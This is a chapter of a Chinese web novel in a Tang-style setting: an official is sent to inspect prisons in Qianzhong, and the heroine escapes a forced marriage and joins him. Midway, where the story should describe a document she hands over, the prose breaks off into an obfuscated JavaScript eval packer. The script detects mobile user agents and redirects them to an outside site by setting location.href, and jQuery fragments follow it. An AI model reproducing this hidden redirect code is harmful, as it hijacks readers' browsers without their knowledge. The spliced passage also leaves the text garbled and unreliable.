“陛下派人到地方巡狱录囚,听说特意派给你黔中的差事?” 蔺无舟接过茶杯抿了一口,道:“巡狱的差事派谁去都可以,陛下看重律法治国,时不时会遣官员到地方巡狱录囚。这次遣我去黔中道,明为录囚,实则探查黔中折冲都尉通敌的虚实。” “黔中折冲都尉不是樊流云么?他怎么可能通敌?” “你不信对吧?”蔺无舟从怀里掏出一个信封给他,示意他打开看;“流云跟我俩一块儿长大,他人怎么样,你我清楚,陛下自然也清楚。我不信,陛下也不信,否则也不会派我到黔中巡狱录囚。” 崔宿盯着蔺无舟的眼睛,犹豫了很久才低头打开信封。 “这是下面送上来的密报?” “快马加鞭送到长安来的。”蔺无舟顺手把信扔进火炉里,火舌瞬间扑上来,烧了个干干净净。 “此事只有陛下和你我知道。流云在地方做守将,免不了有人暗中对付他。但大张旗鼓地查,别的官员见了定要心慌,届时有人借此生事,倒得不偿失。” “你去黔中那地儿,公主放心?没去找陛下闹?”崔宿有些稀奇:“不该呀?” 心知这是玩笑话,蔺无舟回答道:“这会儿正在宫中跟陛下闹,陛下不同意。” “我就说嘛。”崔宿不怀好意地一笑:“那你回长安记得沿途给我带点地方特产。” “你想什么?”蔺无舟横了他一眼:“陛下要你也跟着去,不然你以为我这么晚来你府上只为了跟你喝口茶?” 崔宿怔住,道:“我去做什么?录囚的事情我又不懂,况且我走了,长安城谁去夜巡?” “长安城就你一个中郎将?”蔺无舟气定神闲地喝口茶,打趣道:“可能是黔中地界危险,陛下担心我半路出事,特意派你这个金吾卫中郎将随同保护。你这长安来的金吾卫中郎将在军营里比我一个小小的雍州司法参军好说话多了。” 崔宿哼笑:“你是公主之子,太子的表兄,谁敢不把你放在眼里?” 蔺无舟只是笑,不说是也不说不是。 “我领了这个差事,就要为百姓做事,尽管是为了查流云的案子,但有冤得申冤。巡狱的权力在我手中,我便做为民请命的刀,高悬在官员头上,要他们时时刻刻谨记。 12. 镜女娘娘(一) “来把这门看好咯,那边两个人去守着后门。” 一阵喧闹声把樊丛青从睡梦中惊醒,她伸手挡住了刺眼的阳光,缓了一会儿才翻身坐起。 “晚冬?”她披上衣服朝门外喊了声:“外面在做甚?” 只听门外晚冬大声应了,许久才推门进来。 “娘子,府里来人了。”晚冬厌恶道:“那白氏带人来把咱院子围得密不透风的,奴婢要出去也拦着,这不是变相的软禁吗?” 樊丛青没想到白氏下手那么快。整个院子就樊丛青和晚冬二人,想出去报信都难,白氏这是铁了心要将樊丛青嫁出去。 若真是原主在这儿,按照她的性子,估计只有任人宰割的份,嫁过去还指不定被人磋磨死。樊丛青知道白氏母女打的就是这个主意,他日街坊四邻议论起来,也只会讲樊丛青遇人不淑,戳着宋家的脊梁骨骂,而白氏美美隐身,继续做她的中书令夫人,跟她没有任何干系。 这算盘打得挺响,但樊丛青偏偏不如她们的愿。 秉着“你要推我下河我也不能让你过桥”的原则,你不让我好过我也不让你舒服,樊丛青拉着晚冬气势汹汹地推开门,要去理论。 院子里站着两个穿着华丽的娘子,婢女和小厮点头哈腰的在一旁。白氏梳着堕马髻,缀着一套赤金镶红石的头面,颈间戴着串圆润的珍珠,散发着温润的光泽。 饶是雍容华贵的妆容,都遮不住白氏刻薄的嘴脸。樊丛青如是想。 “诶哟,二妹妹可算醒了。”樊华黎捂着嘴一笑,道:“往后嫁进宋家,侍奉公婆,可不能再这般松懈了。” 樊丛青拖来一旁的竹椅坐下,漫不经心道:“谁说我要嫁去宋家了?跟当事人商量了?姐姐这么欢喜,要不你嫁过去得了?听说宋家郎君人虽差了点,但长得好看呀。” “父母之命媒妁之言,我是家里的当家主母,跟老爷相看过了,宋家虽是经商的,但家底还算厚实,你嫁过去不委屈你。” 士农工商,商排最后。中书令嫡亲女儿嫁给商贾,怎么看宋家都是高攀了,何况宋家还家风不正。 樊华黎高昂着脑袋,带着不可一世的傲慢,讥笑道:“你在长安城的名声都烂成那样了,宋家愿意娶你,还出了十抬彩礼来。妹妹呀,好生嫁过去吧,你找不到更好的夫家了。” “那我也再说最后一遍,我不嫁。”樊丛青一字一顿道:“我又不是畜生,一到季节就得配种。” “少油嘴滑舌。”白氏拧紧眉心,眼底迸发出恶狠狠的目光,道:“我知道你嘴皮子厉害,但如今老夫人人在俭念寺,谁也见不到她,等她回来木已成舟。你的好兄长远在黔中,压根收不到长安的消息,短短几日也赶不回长安。这婚,你成也得成,不成也得成。” “你想强迫我嫁过去?”樊从青挑眉。 “二妹妹,话不是这么讲的。”樊华黎面带笑容,内心暗自窃喜:“阿耶也是为了你好。” 看得樊从青直反胃。 “好啊。”樊从青应下:“既然是为了我好,我嫁就是了。” 白氏满意地点点头:“过几日我会让人把喜服送过来,你且安安心心留在院里出嫁。” 说完话,两人便扭头离开。 待出了门,确认里头听不见,樊华黎压低声音道:“我还道樊从青最近机灵了许多,不使点手段恐怕不会老实嫁过去。” “她跟她那早死的娘一样蠢,再聪明又能到哪儿去。说她公堂上替人代诉,长安传的沸沸扬扬的,只怕有名无实。”白氏微微含笑,心中洋洋得意。 樊华黎附和道:“母亲说的是。” 院里头樊从青见白氏母女二人走远,站起来拍了拍衣服,准备回到屋子里。 “娘子!”晚冬不懂她的用意,随询问道:“您为何要答应她们?您真的要嫁过去吗?” “怎么可能。”樊从青走到桌旁喝下一口茶,润了润嗓子,温声细语道:“白氏母女显然是有备而来,我们处于劣势,不必跟她们硬扯,对咱们没好处。适当的示弱,让她们放下戒心,才方便我逃跑。” 晚冬恍然大悟:“娘子说的有道理。那接下来怎么打算?” 樊从青走向床榻,一脚踢下鞋子:“都乱成一锅粥了,我还是再睡一会儿。” 昨天连夜把漏洞写下来想早点拿给蔺无舟,睡得太晚,今早又被白氏和樊华黎扰了清梦。 “好晚冬,一个时辰之后叫我起床。”她埋在被子里,声音闷闷的。 晚冬无奈地应了声是,然后轻手轻脚地带上门。 再醒时,已是正午时分,阳光毒辣,猫趴在屋檐底下的阴凉处。 晚冬呈上来饭菜,樊从青匆匆塞了几口下肚。不等她收拾桌子,被樊从青拽去墙角,两人搬来梯子,晚冬扶着她爬上去。 “晚冬,我去县廨找蔺县尉,你在家等我回来。” 晚冬悄声道:“晓得了,娘子小心些。” 樊从青费劲吧啦地跳下院墙,好在院墙不是很高,她甩了甩手,看四下无人抬腿就跑。 “二娘子跑了!” 门口守着的小厮眼尖,大喊一声。樊从青吓了一跳,跑得更快了。 小厮追得紧,但樊从青身型小,在人群里穿来穿去的,把小厮远远甩在身后。 樊从青直奔县廨,到门口又被捕手拦了下来。小厮眼见在捕手在这儿,又是县廨大门,不敢轻举妄动,只远远的盯着樊从青。 “长安县廨,闲杂人等不得随意进出!” “大哥,你不认得我了?”樊从青嬉笑着套近乎:“前几天我们还一起查案来着。” 捕手打量她一番,摇头:“不认得不认得,县廨门口闹事,当心拒你问罪,还不快走!” 樊从青无法,幽幽叹口气。余光瞥见县廨里有一抹熟悉的背影,她连忙大喊一声:“段觉!” 段觉正坐在树荫下埋头翻看验尸录,听到有人喊他,疑惑地抬起头。寻着声音过去,见门口的娘子咋咋呼呼的,不是樊从青又是谁? 他挥挥手,叫捕手退下,奇道:“樊小娘子,你怎么来县廨了?” 捕手这才收回横刀,让樊从青进去。 “我来找蔺县尉。”樊从青探头左看右看,问道:“县尉呢?” “县尉升为雍州司法参军了,这会儿不在县廨。”段觉道。 樊从青:“就升任了?!他还回县廨么?” 段觉边把验尸录收进箱子里放好边点头答复她:“要回来的,东西还在县廨没收拾。” “那便好。”樊从青长舒口气:“你也跟他一起去雍州吗?” “嗯,我是蔺参军的仵作,不是县廨的,他在哪儿我在哪儿。” 樊从青有些好奇,问道:“为何?” “因为,蔺参军是我的恩人。”段觉顿了顿,眉目间难得一丝忧伤。 “仵作属于下贱行当,一代仵作,代代都是仵作。我阿耶是州里最好的仵作,撰写这本验尸录帮助州里破了许多案子,于是便遭贼人惦记。贼人杀了我阿耶和阿娘,恰好那时参军路过我家,把我救下来。” 像是有团棉花堵在喉咙里,樊从青艰难道:“抱歉,让你想起了伤心事。” “无碍。”段觉微笑着摇头:“阿耶说狱事莫重于大辟,大辟莫重于初情,初情莫重于检验(1)。查案之要是掌握死者的状况,因为这是蒙冤昭雪的关键。所以仵作行当再下贱,我也乐意做。” 不论哪个朝代,文臣提笔平天下,武将执剑定乾坤,他们彪炳千秋,为后人所记。 但一笔换不来海清河晏,一剑杀不出四海升平。 樊从青欲说什么,叫突然进来的蔺无舟打断了。 “樊小娘子,你怎么在县廨?” 少女见到他,眼睛都亮了下,樊从青拿出怀中叠了几叠的纸,郑重其事交给他。 “昨日我跟你说的漏洞,我写出来了,并且还附上修改的办法。” “这么快,你昨日熬夜了?”蔺无舟接过来,纸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14347454|152086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还带着她的体温。他展开,看着纸嘴角抽了抽。 樊从青笑眯眯凑上前,得意道:“是不是写得面面俱到。” 蔺无舟话到嘴边,又生生咽了回去。见他一副欲言又止的样子,樊从青问道:“写的不好吗?我可是辛辛苦苦整理一晚上写出来的!” “不是,”蔺无舟沉思良久,委婉道:“在下觉得,樊娘子的字很有特色,往后在下不管在何处见到也能准确认出来这字出自樊小娘子之手。” “你……”樊从青不确定道:“你嫌我字丑?” 蔺无舟强忍笑意,坐到桌案后,拿起毛笔沾了沾墨,道:“樊娘子的字呈给陛下,陛下不会认真看的,在下为娘子誊写一份再上呈陛下。” 可不就是嫌她字丑嘛! 樊从青撇撇嘴。现代又不写毛笔字,退一万步讲,不用毛笔写,她的字也是好看的。 段觉不知什么时候走了,屋里只剩下两人。蔺无舟端正坐着把她写的誊写到另一张纸上,樊从青无事,托着下巴看他。 蔺无舟眉眼修长舒朗,是温润如玉谦谦君子的长相,有一种春信映于眼中的俊朗。在公堂上是那个果断坚韧的县尉,威胁起人来叫人毫无反抗之力。 “县尉……不是,参军。”樊从青叫他。 蔺无舟微微侧头,但手上动作不停:“嗯?” “有人夸你好看么?貌比潘安,颜如宋玉。” 蔺无舟呼吸一滞,急忙偏过头去,耳尖微微泛红。 他轻咳几声,搁下笔,拎起纸吹了吹,转移话题道:“这样便好了,我会呈上去交给陛下定夺的。” 樊从青粗略扫过去,纸上是隽秀带着点笔锋的字,叫人赏心悦目。 他颇不自在地捻了捻耳朵,犹豫道:“去吃饆饠吗?那日答应你了。” “好啊,走吧。”樊从青爽快答应。 县廨外小厮守了许久,还不见樊从青出来,进又进不去,只能急得团团转。 那厢樊从青和蔺无舟从县廨后门离开,虽然不理解,蔺无舟礼貌道:“为何非要走后门?” “正门有人在蹲我。”樊从青头也不回道:“我阿耶和主母一拍即合,趁祖母和兄长不在,要把我嫁人,我偷偷溜出来找你了。” “中书令平日对你好吗?” “哪有当女儿的在背后说阿耶的?”樊从青玩笑道:“当然不好!” 不是当女儿的不说阿耶吗? 他微怔,随即笑起来,声音从嘴角溢出。 两人并排着走到春禧酒楼,小二乐呵呵迎上来,招呼道:“客官里面请。” 随后看到身后的樊从青,脸顿时沉下来,愁眉苦脸道:“樊娘子,您怎么又来了?” 樊从青指着蔺无舟,嘻笑道:“他是雍州司法参军,今日他出钱,放心。” 小二一听,又换上笑容,招呼两人入座。 “小二,上两份饆饠和三勒浆,再上一份酥山。” “好嘞客官。”小二提上来一壶茶,殷勤道:“客官先喝口茶润润嗓子。” 等店小二退下,蔺无舟给她倒了杯茶,递到樊从青面前。 “陛下派我去黔中巡狱录囚,樊流云在黔中做折冲府都尉,你可想与我同去见见你哥哥?” 樊从青眼睛一亮,兴奋道:“去啊!” 左右留在长安城逃不过嫁人的命运,不如跟着蔺无舟出去,省的看到樊家那几个人心烦。 “同行还有崔宿和段觉。” “中郎将也去么?” 蔺无舟默不作声点了点头。 分明知道此行穷山恶水,蔺无舟还是鬼使神差地问她要不要去,问出口的一瞬又会后悔自己的决定。 “你不想嫁,宋家的事情我会替你处理好,你只管收拾好细软。” 樊从青的眼睛里闪烁着希冀的光,饶是谁见到都不想让她失望。 他抬起眼睫,漆黑的眼睛里映照出她明媚的笑容。 “多谢蔺参军啦!”